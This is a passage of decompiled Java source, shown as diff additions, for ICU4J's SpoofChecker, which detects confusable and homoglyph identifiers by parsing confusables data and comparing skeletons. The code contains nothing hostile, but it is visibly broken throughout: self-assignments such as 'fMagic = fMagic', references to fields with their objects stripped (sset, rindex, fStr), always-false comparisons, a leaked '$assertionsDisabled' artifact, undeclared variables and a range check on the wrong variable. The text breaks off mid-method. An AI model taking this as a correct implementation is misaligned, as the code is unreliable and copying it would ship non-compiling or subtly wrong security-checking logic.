+      fRestrictionLevel = fRestrictionLevel;
+    }
+    
+
+
+
+
+
+    public SpoofChecker build()
+    {
+      if (fSpoofData == null) {
+        try {
+          fSpoofData = SpoofChecker.SpoofData.getDefault();
+        } catch (IOException e) {
+          return null;
+        }
+      }
+      if (!SpoofChecker.SpoofData.validateDataVersion(fSpoofData.fRawData)) {
+        return null;
+      }
+      SpoofChecker result = new SpoofChecker(null);
+      fMagic = fMagic;
+      fChecks = fChecks;
+      fSpoofData = fSpoofData;
+      fAllowedCharsSet = ((UnicodeSet)fAllowedCharsSet.clone());
+      fAllowedCharsSet.freeze();
+      fAllowedLocales = fAllowedLocales;
+      fRestrictionLevel = fRestrictionLevel;
+      return result;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setData(Reader confusables, Reader confusablesWholeScript)
+      throws ParseException, IOException
+    {
+      fSpoofData = new SpoofChecker.SpoofData();
+      ByteArrayOutputStream bos = new ByteArrayOutputStream();
+      DataOutputStream os = new DataOutputStream(bos);
+      
+      ConfusabledataBuilder.buildConfusableData(fSpoofData, confusables);
+      WSConfusableDataBuilder.buildWSConfusableData(fSpoofData, os, confusablesWholeScript);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public Builder setChecks(int checks)
+    {
+      if (0 != (checks & 0x0)) {
+        throw new IllegalArgumentException("Bad Spoof Checks value.");
+      }
+      fChecks = (checks & 0xFFFFFFFF);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setAllowedLocales(Set<ULocale> locales)
+    {
+      fAllowedCharsSet.clear();
+      
+      for (ULocale locale : locales)
+      {
+
+        addScriptChars(locale, fAllowedCharsSet);
+      }
+      
+
+
+      fAllowedLocales.clear();
+      if (locales.size() == 0) {
+        fAllowedCharsSet.add(0, 1114111);
+        fChecks &= 0xFFFFFFBF;
+        return this;
+      }
+      
+
+
+      UnicodeSet tempSet = new UnicodeSet();
+      tempSet.applyIntPropertyValue(4106, 0);
+      fAllowedCharsSet.addAll(tempSet);
+      tempSet.applyIntPropertyValue(4106, 1);
+      fAllowedCharsSet.addAll(tempSet);
+      
+
+      fAllowedLocales.addAll(locales);
+      fChecks |= 0x40;
+      return this;
+    }
+    
+
+
+    private void addScriptChars(ULocale locale, UnicodeSet allowedChars)
+    {
+      int[] scripts = UScript.getCode(locale);
+      UnicodeSet tmpSet = new UnicodeSet();
+      
+      for (int i = 0; i < scripts.length; i++) {
+        tmpSet.applyIntPropertyValue(4106, scripts[i]);
+        allowedChars.addAll(tmpSet);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setAllowedChars(UnicodeSet chars)
+    {
+      fAllowedCharsSet.set(chars);
+      fAllowedLocales.clear();
+      fChecks |= 0x40;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder setRestrictionLevel(SpoofChecker.RestrictionLevel restrictionLevel)
+    {
+      fRestrictionLevel = restrictionLevel;
+      fChecks |= 0x10;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private static class WSConfusableDataBuilder
+    {
+      static String parseExp = "(?m)^([ \\t]*(?:#.*?)?)$|^(?:\\s*([0-9A-F]{4,})(?:..([0-9A-F]{4,}))?\\s*;\\s*([A-Za-z]+)\\s*;\\s*([A-Za-z]+)\\s*;\\s*(?:(A)|(L))[ \\t]*(?:#.*?)?)$|^(.*?)$";
+      
+
+
+
+
+
+
+      private WSConfusableDataBuilder() {}
+      
+
+
+
+
+
+      static void readWholeFileToString(Reader reader, StringBuffer buffer)
+        throws IOException
+      {
+        LineNumberReader lnr = new LineNumberReader(reader);
+        for (;;) {
+          String line = lnr.readLine();
+          if (line == null) {
+            break;
+          }
+          buffer.append(line);
+          buffer.append('\n');
+        }
+      }
+      
+
+      static void buildWSConfusableData(SpoofChecker.SpoofData fSpoofData, DataOutputStream os, Reader confusablesWS)
+        throws ParseException, IOException
+      {
+        Pattern parseRegexp = null;
+        StringBuffer input = new StringBuffer();
+        int lineNum = 0;
+        
+        Vector<BuilderScriptSet> scriptSets = null;
+        int rtScriptSetsCount = 2;
+        
+        Trie2Writable anyCaseTrie = new Trie2Writable(0, 0);
+        Trie2Writable lowerCaseTrie = new Trie2Writable(0, 0);
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+        scriptSets = new Vector();
+        scriptSets.addElement(null);
+        scriptSets.addElement(null);
+        
+        readWholeFileToString(confusablesWS, input);
+        
+        parseRegexp = Pattern.compile(parseExp);
+        
+
+
+
+        if (input.charAt(0) == 65279) {
+          input.setCharAt(0, ' ');
+        }
+        
+
+        Matcher matcher = parseRegexp.matcher(input);
+        while (matcher.find()) {
+          lineNum++;
+          if (matcher.start(1) < 0)
+          {
+
+
+            if (matcher.start(8) >= 0)
+            {
+              throw new ParseException("ConfusablesWholeScript, line " + lineNum + ": Unrecognized input: " + matcher.group(), matcher.start());
+            }
+            
+
+
+
+            int startCodePoint = Integer.parseInt(matcher.group(2), 16);
+            if (startCodePoint > 1114111) {
+              throw new ParseException("ConfusablesWholeScript, line " + lineNum + ": out of range code point: " + matcher.group(2), matcher.start(2));
+            }
+            
+            int endCodePoint = startCodePoint;
+            if (matcher.start(3) >= 0) {
+              endCodePoint = Integer.parseInt(matcher.group(3), 16);
+            }
+            if (endCodePoint > 1114111) {
+              throw new ParseException("ConfusablesWholeScript, line " + lineNum + ": out of range code point: " + matcher.group(3), matcher.start(3));
+            }
+            
+
+
+            String srcScriptName = matcher.group(4);
+            String targScriptName = matcher.group(5);
+            int srcScript = UCharacter.getPropertyValueEnum(4106, srcScriptName);
+            int targScript = UCharacter.getPropertyValueEnum(4106, targScriptName);
+            if (srcScript == -1) {
+              throw new ParseException("ConfusablesWholeScript, line " + lineNum + ": Invalid script code t: " + matcher.group(4), matcher.start(4));
+            }
+            
+            if (targScript == -1) {
+              throw new ParseException("ConfusablesWholeScript, line " + lineNum + ": Invalid script code t: " + matcher.group(5), matcher.start(5));
+            }
+            
+
+
+            Trie2Writable table = anyCaseTrie;
+            if (matcher.start(7) >= 0) {
+              table = lowerCaseTrie;
+            }
+            
+
+
+
+
+
+
+
+
+
+
+            for (int cp = startCodePoint; cp <= endCodePoint; cp++) {
+              int setIndex = table.get(cp);
+              BuilderScriptSet bsset = null;
+              if (setIndex > 0) {
+                assert (setIndex < scriptSets.size());
+                bsset = (BuilderScriptSet)scriptSets.elementAt(setIndex);
+              } else {
+                bsset = new BuilderScriptSet();
+                codePoint = cp;
+                trie = table;
+                sset = new SpoofChecker.ScriptSet();
+                setIndex = scriptSets.size();
+                index = setIndex;
+                rindex = 0;
+                scriptSets.addElement(bsset);
+                table.set(cp, setIndex);
+              }
+              sset.Union(targScript);
+              sset.Union(srcScript);
+              
+              int cpScript = UScript.getScript(cp);
+              if (cpScript != srcScript)
+              {
+                throw new ParseException("ConfusablesWholeScript, line " + lineNum + ": Mismatch between source script and code point " + Integer.toString(cp, 16), matcher.start(5));
+              }
+            }
+          }
+        }
+        
+
+
+
+
+
+
+
+
+
+
+        rtScriptSetsCount = 2;
+        for (int outeri = 2; outeri < scriptSets.size(); outeri++) {
+          BuilderScriptSet outerSet = (BuilderScriptSet)scriptSets.elementAt(outeri);
+          if (index == outeri)
+          {
+
+
+
+
+            rindex = (rtScriptSetsCount++);
+            for (int inneri = outeri + 1; inneri < scriptSets.size(); inneri++) {
+              BuilderScriptSet innerSet = (BuilderScriptSet)scriptSets.elementAt(inneri);
+              if ((sset.equals(sset)) && (sset != sset)) {
+                sset = sset;
+                index = outeri;
+                rindex = rindex;
+              }
+            }
+          }
+        }
+        
+
+
+
+
+
+
+
+
+        for (int i = 2; i < scriptSets.size(); i++) {
+          BuilderScriptSet bSet = (BuilderScriptSet)scriptSets.elementAt(i);
+          if (rindex != i) {
+            trie.set(codePoint, rindex);
+          }
+        }
+        
+
+
+
+
+
+
+        UnicodeSet ignoreSet = new UnicodeSet();
+        ignoreSet.applyIntPropertyValue(4106, 0);
+        UnicodeSet inheritedSet = new UnicodeSet();
+        inheritedSet.applyIntPropertyValue(4106, 1);
+        ignoreSet.addAll(inheritedSet);
+        for (int rn = 0; rn < ignoreSet.getRangeCount(); rn++) {
+          int rangeStart = ignoreSet.getRangeStart(rn);
+          int rangeEnd = ignoreSet.getRangeEnd(rn);
+          anyCaseTrie.setRange(rangeStart, rangeEnd, 1, true);
+          lowerCaseTrie.setRange(rangeStart, rangeEnd, 1, true);
+        }
+        
+
+
+
+        anyCaseTrie.toTrie2_16().serialize(os);
+        lowerCaseTrie.toTrie2_16().serialize(os);
+        
+        fRawData.fScriptSetsLength = rtScriptSetsCount;
+        int rindex = 2;
+        for (int i = 2; i < scriptSets.size(); i++) {
+          BuilderScriptSet bSet = (BuilderScriptSet)scriptSets.elementAt(i);
+          if (rindex >= rindex)
+          {
+
+
+
+            assert (rindex == rindex);
+            sset.output(os);
+            rindex++;
+          }
+        }
+      }
+      
+
+
+      private static class BuilderScriptSet
+      {
+        int codePoint;
+        
+
+        Trie2Writable trie;
+        
+
+        SpoofChecker.ScriptSet sset;
+        
+
+        int index;
+        
+
+        int rindex;
+        
+
+        BuilderScriptSet()
+        {
+          codePoint = -1;
+          trie = null;
+          sset = null;
+          index = 0;
+          rindex = 0;
+        }
+      }
+    }
+    
+
+
+
+    private static class ConfusabledataBuilder
+    {
+      private SpoofChecker.SpoofData fSpoofData;
+      
+
+      private ByteArrayOutputStream bos;
+      
+
+      private DataOutputStream os;
+      
+
+      private Hashtable<Integer, SPUString> fSLTable;
+      
+
+      private Hashtable<Integer, SPUString> fSATable;
+      
+
+      private Hashtable<Integer, SPUString> fMLTable;
+      
+
+      private Hashtable<Integer, SPUString> fMATable;
+      
+
+      private UnicodeSet fKeySet;
+      
+
+      private StringBuffer fStringTable;
+      
+
+      private Vector<Integer> fKeyVec;
+      
+
+      private Vector<Integer> fValueVec;
+      
+
+      private Vector<Integer> fStringLengthsTable;
+      
+
+      private SPUStringPool stringPool;
+      
+
+      private Pattern fParseLine;
+      
+
+      private Pattern fParseHexNum;
+      
+
+      private int fLineNum;
+      
+
+
+      ConfusabledataBuilder(SpoofChecker.SpoofData spData, ByteArrayOutputStream bos)
+      {
+        this.bos = bos;
+        os = new DataOutputStream(bos);
+        fSpoofData = spData;
+        fSLTable = new Hashtable();
+        fSATable = new Hashtable();
+        fMLTable = new Hashtable();
+        fMATable = new Hashtable();
+        fKeySet = new UnicodeSet();
+        fKeyVec = new Vector();
+        fValueVec = new Vector();
+        stringPool = new SPUStringPool();
+      }
+      
+      void build(Reader confusables) throws ParseException, IOException {
+        StringBuffer fInput = new StringBuffer();
+        SpoofChecker.Builder.WSConfusableDataBuilder.readWholeFileToString(confusables, fInput);
+        
+
+
+
+
+
+
+
+
+
+        fParseLine = Pattern.compile("(?m)^[ \\t]*([0-9A-Fa-f]+)[ \\t]+;[ \\t]*([0-9A-Fa-f]+(?:[ \\t]+[0-9A-Fa-f]+)*)[ \\t]*;\\s*(?:(SL)|(SA)|(ML)|(MA))[ \\t]*(?:#.*?)?$|^([ \\t]*(?:#.*?)?)$|^(.*?)$");
+        
+
+
+
+
+
+
+
+
+        fParseHexNum = Pattern.compile("\\s*([0-9A-F]+)");
+        
+
+
+        if (fInput.charAt(0) == 65279) {
+          fInput.setCharAt(0, ' ');
+        }
+        
+
+        Matcher matcher = fParseLine.matcher(fInput);
+        while (matcher.find()) {
+          fLineNum += 1;
+          if (matcher.start(7) < 0)
+          {
+
+
+            if (matcher.start(8) >= 0)
+            {
+
+              throw new ParseException("Confusables, line " + fLineNum + ": Unrecognized Line: " + matcher.group(8), matcher.start(8));
+            }
+            
+
+
+
+
+            int keyChar = Integer.parseInt(matcher.group(1), 16);
+            if (keyChar > 1114111) {
+              throw new ParseException("Confusables, line " + fLineNum + ": Bad code point: " + matcher.group(1), matcher.start(1));
+            }
+            
+            Matcher m = fParseHexNum.matcher(matcher.group(2));
+            
+            StringBuilder mapString = new StringBuilder();
+            while (m.find()) {
+              int c = Integer.parseInt(m.group(1), 16);
+              if (keyChar > 1114111) {
+                throw new ParseException("Confusables, line " + fLineNum + ": Bad code point: " + Integer.toString(c, 16), matcher.start(2));
+              }
+              
+              mapString.appendCodePoint(c);
+            }
+            assert (mapString.length() >= 1);
+            
+
+
+
+            SPUString smapString = stringPool.addString(mapString.toString());
+            
+
+            Hashtable<Integer, SPUString> table = matcher.start(6) >= 0 ? fMATable : matcher.start(5) >= 0 ? fMLTable : matcher.start(4) >= 0 ? fSATable : matcher.start(3) >= 0 ? fSLTable : null;
+            
+
+            assert (table != null);
+            table.put(Integer.valueOf(keyChar), smapString);
+            fKeySet.add(keyChar);
+          }
+        }
+        
+
+
+
+
+
+
+
+
+
+
+
+
+        stringPool.sort();
+        fStringTable = new StringBuffer();
+        fStringLengthsTable = new Vector();
+        int previousStringLength = 0;
+        int previousStringIndex = 0;
+        int poolSize = stringPool.size();
+        
+        for (int i = 0; i < poolSize; i++) {
+          SPUString s = stringPool.getByIndex(i);
+          int strLen = fStr.length();
+          int strIndex = fStringTable.length();
+          assert (strLen >= previousStringLength);
+          if (strLen == 1)
+          {
+
+
+
+
+
+            fStrTableIndex = fStr.charAt(0);
+          } else {
+            if ((strLen > previousStringLength) && (previousStringLength >= 4)) {
+              fStringLengthsTable.addElement(Integer.valueOf(previousStringIndex));
+              fStringLengthsTable.addElement(Integer.valueOf(previousStringLength));
+            }
+            fStrTableIndex = strIndex;
+            fStringTable.append(fStr);
+          }
+          previousStringLength = strLen;
+          previousStringIndex = strIndex;
+        }
+        
+
+
+
+
+        if (previousStringLength >= 4) {
+          fStringLengthsTable.addElement(Integer.valueOf(previousStringIndex));
+          fStringLengthsTable.addElement(Integer.valueOf(previousStringLength));
+        }
+        
+
+
+
+
+
+
+
+
+
+
+
+
+        for (int range = 0; range < fKeySet.getRangeCount(); range++)
+        {
+
+
+          for (int keyChar = fKeySet.getRangeStart(range); keyChar <= fKeySet.getRangeEnd(range); keyChar++) {
+            addKeyEntry(keyChar, fSLTable, 16777216);
+            addKeyEntry(keyChar, fSATable, 33554432);
+            addKeyEntry(keyChar, fMLTable, 67108864);
+            addKeyEntry(keyChar, fMATable, 134217728);
+          }
+        }
+        
+
+        outputData();
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+      void addKeyEntry(int keyChar, Hashtable<Integer, SPUString> table, int tableFlag)
+      {
+        SPUString targetMapping = (SPUString)table.get(Integer.valueOf(keyChar));
+        if (targetMapping == null)
+        {
+
+
+
+          return;
+        }
+        
+
+
+
+
+        boolean keyHasMultipleValues = false;
+        
+        for (int i = fKeyVec.size() - 1; i >= 0; i--) {
+          int key = ((Integer)fKeyVec.elementAt(i)).intValue();
+          if ((key & 0xFFFFFF) != keyChar) {
+            break;
+          }
+          
+
+
+          String mapping = getMapping(i);
+          if (mapping.equals(fStr))
+          {
+
+
+
+            key |= tableFlag;
+            fKeyVec.setElementAt(Integer.valueOf(key), i);
+            return;
+          }
+          keyHasMultipleValues = true;
+        }
+        
+
+
+
+
+        int newKey = keyChar | tableFlag;
+        if (keyHasMultipleValues) {
+          newKey |= 0x10000000;
+        }
+        int adjustedMappingLength = fStr.length() - 1;
+        if (adjustedMappingLength > 3) {
+          adjustedMappingLength = 3;
+        }
+        newKey |= adjustedMappingLength << 29;
+        
+        int newData = fStrTableIndex;
+        
+        fKeyVec.addElement(Integer.valueOf(newKey));
+        fValueVec.addElement(Integer.valueOf(newData));
+        
+
+
+
+        if (keyHasMultipleValues) {
+          int previousKeyIndex = fKeyVec.size() - 2;
+          int previousKey = ((Integer)fKeyVec.elementAt(previousKeyIndex)).intValue();
+          previousKey |= 0x10000000;
+          fKeyVec.setElementAt(Integer.valueOf(previousKey), previousKeyIndex);
+        }
+      }
+      
+
+      String getMapping(int index)
+      {
+        int key = ((Integer)fKeyVec.elementAt(index)).intValue();
+        int value = ((Integer)fValueVec.elementAt(index)).intValue();
+        int length = SpoofChecker.getKeyLength(key);
+        
+        switch (length) {
+        case 0: 
+          char[] cs = { (char)value };
+          return new String(cs);
+        case 1: 
+        case 2: 
+          return fStringTable.substring(value, value + length + 1);
+        case 3: 
+          length = 0;
+          
+          for (int i = 0; i < fStringLengthsTable.size(); i += 2) {
+            int lastIndexWithLen = ((Integer)fStringLengthsTable.elementAt(i)).intValue();
+            if (value <= lastIndexWithLen) {
+              length = ((Integer)fStringLengthsTable.elementAt(i + 1)).intValue();
+              break;
+            }
+          }
+          assert (length >= 3);
+          return fStringTable.substring(value, value + length);
+        }
+        if (!$assertionsDisabled) { throw new AssertionError();
+        }
+        return "";
+      }
+      
+
+
+
+      void outputData()
+        throws IOException
+      {
+        SpoofChecker.SpoofDataHeader rawData = fSpoofData.fRawData;
+        
+
+
+        int numKeys = fKeyVec.size();
+        
+        int previousKey = 0;
+        rawData.output(os);
+        fCFUKeys = os.size();
+        assert (fCFUKeys == 128);
+        fCFUKeysSize = numKeys;
+        for (int i = 0; i < numKeys; i++) {
+          int key = ((Integer)fKeyVec.elementAt(i)).intValue();
+          assert ((key & 0xFFFFFF) >= (previousKey & 0xFFFFFF));
+          assert ((key & 0xFF000000) != 0);
+          os.writeInt(key);
+          previousKey = key;
+        }
+        
+
+        int numValues = fValueVec.size();
+        assert (numKeys == numValues);
+        fCFUStringIndex = os.size();
+        fCFUStringIndexSize = numValues;
+        for (i = 0; i < numValues; i++) {
+          int value = ((Integer)fValueVec.elementAt(i)).intValue();
+          assert (value < 65535);
+          os.writeShort((short)value);
+        }
+        
+
+
+        int stringsLength = fStringTable.length();
+        
+
+        String strings = fStringTable.toString();
+        fCFUStringTable = os.size();
+        fCFUStringTableLen = stringsLength;
+        for (i = 0; i < stringsLength; i++) {
+          os.writeChar(strings.charAt(i));
+        }
+        
+
+
+
+
+
+
+        int lengthTableLength = fStringLengthsTable.size();
+        int previousLength = 0;
+        
+
+
+        fCFUStringLengthsSize = (lengthTableLength / 2);
+        fCFUStringLengths = os.size();
+        for (i = 0; i < lengthTableLength; i += 2) {
+          int offset = ((Integer)fStringLengthsTable.elementAt(i)).intValue();
+          int length = ((Integer)fStringLengthsTable.elementAt(i + 1)).intValue();
+          assert (offset < stringsLength);
+          assert (length < 40);
+          assert (length > previousLength);
+          os.writeShort((short)offset);
+          os.writeShort((short)length);
+          previousLength = length;
+        }
+        
+        os.flush();
+        DataInputStream is = new DataInputStream(new ByteArrayInputStream(bos.toByteArray()));
+        is.mark(Integer.MAX_VALUE);
+        fSpoofData.initPtrs(is);
+      }
+      
+      public static void buildConfusableData(SpoofChecker.SpoofData spData, Reader confusables) throws IOException, ParseException
+      {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        ConfusabledataBuilder builder = new ConfusabledataBuilder(spData, bos);
+        builder.build(confusables);
+      }
+      
+
+
+
+
+      private static class SPUString
+      {
+        String fStr;
+        
+
+
+        int fStrTableIndex;
+        
+
+
+
+        SPUString(String s)
+        {
+          fStr = s;
+          fStrTableIndex = 0;
+        }
+      }
+      
+      private static class SPUStringComparator implements Comparator<SpoofChecker.Builder.ConfusabledataBuilder.SPUString>
+      {
+        private SPUStringComparator() {}
+        
+        public int compare(SpoofChecker.Builder.ConfusabledataBuilder.SPUString sL, SpoofChecker.Builder.ConfusabledataBuilder.SPUString sR)
+        {
+          int lenL = fStr.length();
+          int lenR = fStr.length();
+          if (lenL < lenR)
+            return -1;
+          if (lenL > lenR) {
+            return 1;
+          }
+          return fStr.compareTo(fStr);
+        }
+      }
+      
+
+      private static class SPUStringPool
+      {
+        private Vector<SpoofChecker.Builder.ConfusabledataBuilder.SPUString> fVec;
+        
+        private Hashtable<String, SpoofChecker.Builder.ConfusabledataBuilder.SPUString> fHash;
+        
+        public SPUStringPool()
+        {
+          fVec = new Vector();
+          fHash = new Hashtable();
+        }
+        
+        public int size() {
+          return fVec.size();
+        }
+        
+        public SpoofChecker.Builder.ConfusabledataBuilder.SPUString getByIndex(int index)
+        {
+          SpoofChecker.Builder.ConfusabledataBuilder.SPUString retString = (SpoofChecker.Builder.ConfusabledataBuilder.SPUString)fVec.elementAt(index);
+          return retString;
+        }
+        
+
+
+        public SpoofChecker.Builder.ConfusabledataBuilder.SPUString addString(String src)
+        {
+          SpoofChecker.Builder.ConfusabledataBuilder.SPUString hashedString = (SpoofChecker.Builder.ConfusabledataBuilder.SPUString)fHash.get(src);
+          if (hashedString == null) {
+            hashedString = new SpoofChecker.Builder.ConfusabledataBuilder.SPUString(src);
+            fHash.put(src, hashedString);
+            fVec.addElement(hashedString);
+          }
+          return hashedString;
+        }
+        
+        public void sort()
+        {
+          Collections.sort(fVec, new SpoofChecker.Builder.ConfusabledataBuilder.SPUStringComparator(null));
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public RestrictionLevel getRestrictionLevel()
+  {
+    return fRestrictionLevel;
+  }
+  
+
+
+
+
+
+  public int getChecks()
+  {
+    return fChecks;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Set<ULocale> getAllowedLocales()
+  {
+    return fAllowedLocales;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public UnicodeSet getAllowedChars()
+  {
+    return fAllowedCharsSet;
+  }
+  
+
+
+
+
+
+
+  public static class CheckResult
+  {
+    public int checks;
+    
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public int position;
+    
+
+
+
+
+    public UnicodeSet numerics;
+    
+
+
+
+
+    public SpoofChecker.RestrictionLevel restrictionLevel;
+    
+
+
+
+
+
+    public CheckResult()
+    {
+      checks = 0;
+      position = 0;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean failsChecks(String text, CheckResult checkResult)
+  {
+    int length = text.length();
+    
+    int result = 0;
+    if (checkResult != null) {
+      position = 0;
+      numerics = null;
+      restrictionLevel = null;
+    }
+    
+
+
+    IdentifierInfo identifierInfo = null;
+    if (0 != (fChecks & 0x90)) {
+      identifierInfo = getIdentifierInfo().setIdentifier(text).setIdentifierProfile(fAllowedCharsSet);
+    }
+    
+    if (0 != (fChecks & 0x10)) {
+      RestrictionLevel textRestrictionLevel = identifierInfo.getRestrictionLevel();
+      if (textRestrictionLevel.compareTo(fRestrictionLevel) > 0) {
+        result |= 0x10;
+      }
+      if (checkResult != null) {
+        restrictionLevel = textRestrictionLevel;
+      }
+    }
+    
+    if (0 != (fChecks & 0x80)) {
+      UnicodeSet numerics = identifierInfo.getNumerics();
+      if (numerics.size() > 1) {
+        result |= 0x80;
+      }
+      if (checkResult != null) {
+        numerics = numerics;
+      }
+    }
+    int i;
+    if (0 != (fChecks & 0x40))
+    {
+
+      for (i = 0; i < length;)
+      {
+        int c = Character.codePointAt(text, i);
+        i = Character.offsetByCodePoints(text, i, 1);
+        if (!fAllowedCharsSet.contains(c)) {
+          result |= 0x40;
+        }
+      }
+    }
+    
+
+    if (0 != (fChecks & 0x26))
+    {
+      String nfdText = nfdNormalizer.normalize(text);
+      int firstNonspacingMark;
+      boolean haveMultipleMarks; UnicodeSet marksSeenSoFar; int i; if (0 != (fChecks & 0x20))
+      {
+
+
+
+
+        firstNonspacingMark = 0;
+        haveMultipleMarks = false;
+        marksSeenSoFar = new UnicodeSet();
+        
+        for (i = 0; i < length;) {
+          int c = Character.codePointAt(nfdText, i);
+          i = Character.offsetByCodePoints(nfdText, i, 1);
+          if (Character.getType(c) != 6) {
+            firstNonspacingMark = 0;
+            if (haveMultipleMarks) {
+              marksSeenSoFar.clear();
+              haveMultipleMarks = false;
+            }
+            
+          }
+          else if (firstNonspacingMark == 0) {
+            firstNonspacingMark = c;
+          }
+          else {
+            if (!haveMultipleMarks) {
+              marksSeenSoFar.add(firstNonspacingMark);
+              haveMultipleMarks = true;
+            }
+            if (marksSeenSoFar.contains(c))
+            {
+
+              result |= 0x20;
+              break;
+            }
+            marksSeenSoFar.add(c);
+          }
+        }
+      }
+      if (0 != (fChecks & 0x6))
+      {
+
+
+
+
+
+
+
+
+
+
+
+
+        if (identifierInfo == null) {
+          identifierInfo = getIdentifierInfo();
+          identifierInfo.setIdentifier(text);
+        }
+        int scriptCount = identifierInfo.getScriptCount();
+        
+        ScriptSet scripts = new ScriptSet();
+        wholeScriptCheck(nfdText, scripts);
+        int confusableScriptCount = scripts.countMembers();
+        
+        if ((0 != (fChecks & 0x4)) && (confusableScriptCount >= 2) && (scriptCount == 1)) {
+          result |= 0x4;
+        }
+        
+        if ((0 != (fChecks & 0x2)) && (confusableScriptCount >= 1) && (scriptCount > 1)) {
+          result |= 0x2;
+        }
+      }
+    }
+    if (checkResult != null) {
+      checks = result;
+    }
+    releaseIdentifierInfo(identifierInfo);
+    return 0 != result;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean failsChecks(String text)
+  {
+    return failsChecks(text, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int areConfusable(String s1, String s2)
+  {
+    if ((fChecks & 0x7) == 0) {
+      throw new IllegalArgumentException("No confusable checks are enabled.");
+    }
+    int flagsForSkeleton = fChecks & 0x8;
+    
+    int result = 0;
+    IdentifierInfo identifierInfo = getIdentifierInfo();
+    identifierInfo.setIdentifier(s1);
+    int s1ScriptCount = identifierInfo.getScriptCount();
+    identifierInfo.setIdentifier(s2);
+    int s2ScriptCount = identifierInfo.getScriptCount();
+    releaseIdentifierInfo(identifierInfo);
+    
+    if (0 != (fChecks & 0x1))
+    {
+      if ((s1ScriptCount <= 1) && (s2ScriptCount <= 1)) {
+        flagsForSkeleton |= 0x1;
+        String s1Skeleton = getSkeleton(flagsForSkeleton, s1);
+        String s2Skeleton = getSkeleton(flagsForSkeleton, s2);
+        if (s1Skeleton.equals(s2Skeleton)) {
+          result |= 0x1;
+        }
+      }
+    }
+    
+    if (0 != (result & 0x1))
+    {
+
+
+      return result;
+    }
+    
+
+
+    boolean possiblyWholeScriptConfusables = (s1ScriptCount <= 1) && (s2ScriptCount <= 1) && (0 != (fChecks & 0x4));
+    
+
+
+    if ((0 != (fChecks & 0x2)) || (possiblyWholeScriptConfusables))
+    {
+
+
+      flagsForSkeleton &= 0xFFFFFFFE;
+      String s1Skeleton = getSkeleton(flagsForSkeleton, s1);
+      String s2Skeleton = getSkeleton(flagsForSkeleton, s2);
+      if (s1Skeleton.equals(s2Skeleton)) {
+        result |= 0x2;
+        if (possiblyWholeScriptConfusables) {
+          result |= 0x4;
+        }
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getSkeleton(int type, String id)
+  {
+    int tableMask = 0;
+    switch (type) {
+    case 0: 
+      tableMask = 67108864;
+      break;
+    case 1: 
+      tableMask = 16777216;
+      break;
+    case 8: 
+      tableMask = 134217728;
+      break;
+    case 9: 
+      tableMask = 33554432;
+      break;
+    case 2: case 3: case 4: case 5: 
+    case 6: case 7: default: 
+      throw new IllegalArgumentException("SpoofChecker.getSkeleton(), bad type value.");
+    }
+    
+    
+
+
+    String nfdId = nfdNormalizer.normalize(id);
+    int normalizedLen = nfdId.length();
+    StringBuilder skelSB = new StringBuilder();
+    for (int inputIndex = 0; inputIndex < normalizedLen;) {
+      int c = Character.codePointAt(nfdId, inputIndex);
+      inputIndex += Character.charCount(c);
+      confusableLookup(c, tableMask, skelSB);
+    }
+    String skelStr = skelSB.toString();
+    skelStr = nfdNormalizer.normalize(skelStr);
+    return skelStr;
+  }
+  
+
+
+
+
+
+
+
+
+  private void confusableLookup(int inChar, int tableMask, StringBuilder dest)
+  {
+    int low = 0;
+    int mid = 0;
+    int limit = fSpoofData.fRawData.fCFUKeysSize;
+    
+    boolean foundChar = false;
+    do
+    {
+      int delta = (limit - low) / 2;
+      mid = low + delta;
+      int midc = fSpoofData.fCFUKeys[mid] & 0x1FFFFF;
+      if (inChar == midc) {
+        foundChar = true;
+        break; }
+      if (inChar < midc) {
+        limit = mid;
+
+      }
+      else
+      {
+        low = mid + 1;
+      }
+    } while (low < limit);
+    if (!foundChar) {
+      dest.appendCodePoint(inChar);
+      return;
+    }
+    
+    boolean foundKey = false;
+    int keyFlags = fSpoofData.fCFUKeys[mid] & 0xFF000000;
+    if ((keyFlags & tableMask) == 0)
+    {
+
+      if (0 != (keyFlags & 0x10000000))
+      {
+        for (int altMid = mid - 1; (fSpoofData.fCFUKeys[altMid] & 0xFFFFFF) == inChar; altMid--) {
+          keyFlags = fSpoofData.fCFUKeys[altMid] & 0xFF000000;
+          if (0 != (keyFlags & tableMask)) {
+            mid = altMid;
+            foundKey = true;
+            break;
+          }
+        }
+        if (!foundKey) {
+          for (altMid = mid + 1; (fSpoofData.fCFUKeys[altMid] & 0xFFFFFF) == inChar; altMid++) {
+            keyFlags = fSpoofData.fCFUKeys[altMid] & 0xFF000000;
+            if (0 != (keyFlags & tableMask)) {
+              mid = altMid;
+              foundKey = true;
+              break;
+            }
+          }
+        }
+      }
+      if (!foundKey)
+      {
+
+        dest.appendCodePoint(inChar);
+        return;
+      }
+    }
+    
+    int stringLen = getKeyLength(keyFlags) + 1;
+    int keyTableIndex = mid;
+    
+
+
+    short value = fSpoofData.fCFUValues[keyTableIndex];
+    if (stringLen == 1) {
+      dest.append((char)value);
+      return;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    if (stringLen == 4) {
+      int stringLengthsLimit = fSpoofData.fRawData.fCFUStringLengthsSize;
+      for (int ix = 0; ix < stringLengthsLimit; ix++) {
+        if (fSpoofData.fCFUStringLengths[ix].fLastString >= value) {
